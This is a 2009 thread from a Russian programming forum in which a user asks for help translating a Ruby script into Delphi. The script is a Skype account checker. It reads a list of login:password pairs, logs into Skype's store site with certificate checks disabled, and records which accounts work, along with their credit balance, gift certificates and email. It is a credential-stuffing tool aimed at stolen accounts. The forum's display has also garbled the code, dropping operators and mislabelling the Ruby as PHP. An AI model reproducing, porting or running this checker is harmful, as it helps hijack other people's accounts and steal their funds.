Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > PHP
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.01.2009, 21:54   #1
Misho0k
 
Регистрация: 20.05.2008
Сообщений: 8
Печаль Ruby -> Делфи

Добрый вечер уважаемые форумчани!

Помогите поджалуйста перевести когд в делфи

PHP код:
require 'net/http'  
require 'net/https'  

#распечатка резалтов  
def print_result(targetsource)  
  
fresult File.new(target"w")   
  default = 
$stdout  
  $stdout 
fresult            
  source
.each {|r|   
    
puts r  
  
}  
  
$stdout = default                       
  
fresult.close  
end  

#настраиваем соединение и включаем SSL  
http Net::HTTP.new('secure.skype.com'443)  
http.use_ssl true  
http
.verify_mode OpenSSL::SSL::VERIFY_NONE  
path 
'/store/member/login.html'  

valid=Array.new  
valid_balance=Array.new  
valid_gift=Array.new  
fsource File.open("source.txt")  
begin  
  
while (value fsource.readline)  
    if 
value.any?  
      
#value - это данные аккаунта  
      
valuevalue.chomp  
      
# тут получаем первоначальную куку  
      
respdata http.get(pathnil)  

      
# устанавливаем куку  
      
cookie resp.response['set-cookie']  

      
# Данные для post-запроса  
      
loginpassword=value.split(":")  
      
data "username=#{login}&password=#{password}"  
      
headers = {  
        
'Cookie' => cookie,  
        
'Referer' => "https://secure.skype.com/store/myaccount",  
        
'Content-Type' => 'application/x-www-form-urlencoded'  
      
}  

      
#сам post-запрос  
      
respdata http.post(pathdataheaders)  

      
# 302 - редирект на страницу аккаунта  
      # может быть ищо 200 - не залогинило.  
      
if resp.code == '302'  
        
#заходим на страницу аккаунта  
        
resp=http.get(resp['location'],headers)  
        
#ищем строку про гифт-серты  
        
gift_cert resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)  
        
#ищем строку с балансом  
        
balance resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)  
        
#e-mail может когда-нить пригодится  
        
email resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)  
    
          
        
#сортируем гифт отдельно, пустые отдельно, балансы отдельно          
        
if gift_cert.any?          
          
valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\  
 #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift"   
        
else  
          if 
balance.any?  
            
valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\  
 #{balance.to_s.gsub(/<[^>]*>/,"")}"   
          
else  
            
valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}"   
          
end  
        end  
      end  
    end  
  end  
rescue EOFError  
  fsource
.close  
end  

#выводим в файл  
print_result("valid.txt",valid)  
print_result("valid_balance.txt",valid_balance)  
print_result("valid_gift.txt",valid_gift
Misho0k вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ruby, взгляды на будущее. SunKnight Ruby 2 05.11.2008 20:54
Из с++ в Делфи Andre1723 Общие вопросы Delphi 4 02.06.2008 17:50
библиотека TK и Ruby kpp2 Ruby 5 22.12.2007 02:02